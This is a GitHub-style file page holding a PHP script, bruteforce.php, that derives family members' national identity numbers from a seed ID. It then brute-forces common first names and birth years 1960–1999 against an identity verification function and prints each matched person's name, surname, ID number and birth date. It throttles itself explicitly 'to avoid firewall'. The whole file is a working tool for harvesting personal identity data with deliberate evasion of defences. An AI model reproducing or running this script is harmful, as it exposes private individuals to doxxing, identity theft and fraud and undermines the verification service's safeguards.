-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathbruteforce.php
72 lines (63 loc) · 1.96 KB
/
bruteforce.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
require_once 'NationalIdentity.php';
$algorithm = new NationalIdentity();
$algorithm->nationalIdentity = '99999999999';
$algorithm->name = 'Alimşah';
$algorithm->surname = 'YILDIRIM';
$algorithm->birthDate = '1995';
$algorithm->findFamilyNationalIdentities(20, false);
$foundedIdentites = $algorithm->getFoundedNationalIdentities();
$birthDates = array();
# names for brute force
$names = array
(
'Osman',
'Mehmet',
'Osman',
'Ali',
'Simirna',
'Selin',
'Zeynep',
'Yaren'
);
# generates birth dates from 1960 to 2000
for ($i = 1960; $i < 2000; $i++)
{
array_push($birthDates, ''.$i);
}
$foundedPersons = array();
# Brute forcing
for ($identityIndex = 0; $identityIndex < count($foundedIdentites); $identityIndex++)
{
for ($nameIndex = 0; $nameIndex < count($names); $nameIndex++)
{
for ($dateIndex = 0; $dateIndex < count($birthDates); $dateIndex++)
{
$algorithm->nationalIdentity = $foundedIdentites[$identityIndex];
$algorithm->name = $names[$nameIndex];
$algorithm->birthDate = $birthDates[$dateIndex];
if ($algorithm->verifyIdentity())
{
array_push($foundedPersons, array
(
'name' => $names[$nameIndex],
'surname' => $algorithm->surname,
'birthDate' => $birthDates[$dateIndex],
'identity' => $foundedIdentites[$identityIndex]
));
}
sleep(10); # wait 10 sec for avoid firewall
}
}
}
# printing founded persons
foreach ($foundedPersons as $p)
{
echo '<p>Name: '.$p['name'].'</p>';
echo '<p>Surname: '.$p['surname'].'</p>';
echo '<p>Identity: '.$p['identity'].'</p>';
echo '<p>Birth Date: '.$p['birthDate'].'</p>';
echo '<p></p>';
echo '<p>-------------------------------------</p>';
}
echo '<p>'.count($foundedPersons).' person founded</p>';